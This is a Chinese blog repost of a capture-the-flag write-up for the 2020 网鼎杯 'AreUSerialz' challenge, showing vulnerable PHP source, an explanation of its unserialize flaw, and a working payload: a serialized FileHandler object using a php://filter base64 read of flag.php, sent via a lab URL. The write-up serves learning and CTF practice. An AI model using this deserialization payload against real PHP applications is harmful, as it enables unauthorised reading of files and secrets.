当前位置:首页 » 《资源分享》 » 正文

[网鼎杯 2020 青龙组]AreUSerialz_她叫蔡文静

4 人参与  2021年11月02日 07:43  分类 : 《资源分享》  评论

点击全文阅读


<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

get str参数传入is_valid函数进行判断ASCII是否在32和125中间之后进行反序列化
反序列化时调用destruct函数

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
}

op进行强类型比较===2,content为空进入process函数

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

这里op进行的都是弱类型比较,如果op1传入write函数,op2传入read函数否则输出bad hacker

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

read函数中file函数是可控的,file_get_contents读取文件使用伪协议,output函数输出

   private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

注意的是 o p , op, op,filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0无法过is_valid函数
payload

<?php
 
class FileHandler {
 
    public $op=2;
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;
 
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
    }
 
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
 
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
 
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
 
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
    }
 
}
$a=new FileHandler();
$b=serialize($a);
echo $b;
?>
http://8615ecdf-4eb8-45e8-b929-0ee02ef211ae.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}

在这里插入图片描述
base64解码得flag

在这里插入图片描述

人生漫漫其修远兮,网安无止境。
一同前行,加油!


点击全文阅读


本文链接:http://m.zhangshiyu.com/post/30375.html

函数  都是  传入  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

最新文章

  • 她的记忆停留在了最爱初恋的那年许欣柔楚临川完本_她的记忆停留在了最爱初恋的那年(许欣柔楚临川)
  • 全书浏览假千金的实习生男友霸占我办公室,我反手让他们倾家荡产(顾家明)_假千金的实习生男友霸占我办公室,我反手让他们倾家荡产(顾家明)全书结局
  • 童养夫让我给他的新欢出修复费(林嘉芝林思雅)_童养夫让我给他的新欢出修复费林嘉芝林思雅
  • 全文资助生女婿让我给他白月光付三千万月子中心钱(宋清玉宋雅)列表_全文资助生女婿让我给他白月光付三千万月子中心钱
  • 碎在时光里的谎言喻景宴秦明月完本_碎在时光里的谎言(喻景宴秦明月)
  • 旧爱剜心吻成灰席鄢之岑秋全书免费旧爱剜心吻成灰席鄢之岑秋全书免费
  • 结婚六年丈夫不碰我谁知儿子亲爹是寡头(纪清言傅司砚),结婚六年丈夫不碰我谁知儿子亲爹是寡头
  • 老公想换掉我的男胎,我笑他自不量力(宋薇于继业)_老公想换掉我的男胎,我笑他自不量力宋薇于继业
  • 给太子下了噬心蛊后,皇后找上门(小夭赵劼)全书浏览_给太子下了噬心蛊后,皇后找上门全书浏览
  • 豪门绝嗣!带球跑的夫人回来了!(谢长宴慕清杳)_豪门绝嗣!带球跑的夫人回来了!谢长宴慕清杳
  • 完美身材(李朵林之晴)_完美身材李朵林之晴
  • 离婚后,我和快穿系统绑定(白意秋陈荣周立慧)_离婚后,我和快穿系统绑定(白意秋陈荣周立慧)

    关于我们 | 我要投稿 | 免责申明

    Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1